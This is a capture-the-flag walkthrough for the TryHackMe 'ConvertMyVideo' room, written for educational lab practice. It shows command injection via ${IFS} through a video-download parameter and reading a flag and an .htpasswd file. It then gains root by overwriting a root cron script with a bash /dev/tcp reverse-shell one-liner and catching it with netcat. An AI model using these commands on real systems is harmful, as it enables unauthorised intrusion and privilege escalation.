TryHackMe - ConvertMyVideo
Nmap
Port 80
Gobuster
Apache version
Apache httpd 2.4.29 - CVE-2021-41773
https://github.com/iilegacyyii/PoC-CVE-2021-41773
Not going anywhere with this
The dl functionality
First I inspected on burp the request. Sent it to my repeater and played with it a little
Here are the interesting elements of the response
According to this it is using a binary called
youtube-dl
and put the converted video to a downloads folder in /tmpWe can check youtube-dl documentation for more info
We can still get our user flag this way though, as we saw it listed with the previous command that worked
cat${IFS}admin/flag.txt
Let's try to get a reverse shell all the one liners with reverse have dash sign in them. let's see if we can wget a homemade file with a oneliner shell in it and execute it afterwards.
We make a file called
oneliner.sh
and put this in it
Replace the script with your IP
And we laucnh our python http server in the folder where our shell is
let's stabilize our shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
Let's try to overwrite clean.sh
Privesc
If we execute linpeas on the target we see that cron is running as root.
Let's get pspy in our target and execute it
The clean is just an
rm -rf downloads
Let's launch a listener
rlwrap nc -lvp 5555
echo "bash -i >& /dev/tcp/10.13.22.56/5555 0>&1" > /var/www/html/tmp/clean.sh
Questions
What is the name of the secret folder?
admin
(we get this using gobuster, see above)What is the user to access the secret folder? to know this we need to do this one we have our reverse shell
cat admin/.htpasswd
we will get the user and password inside this file.I let you find the flags on your own :)
Last updated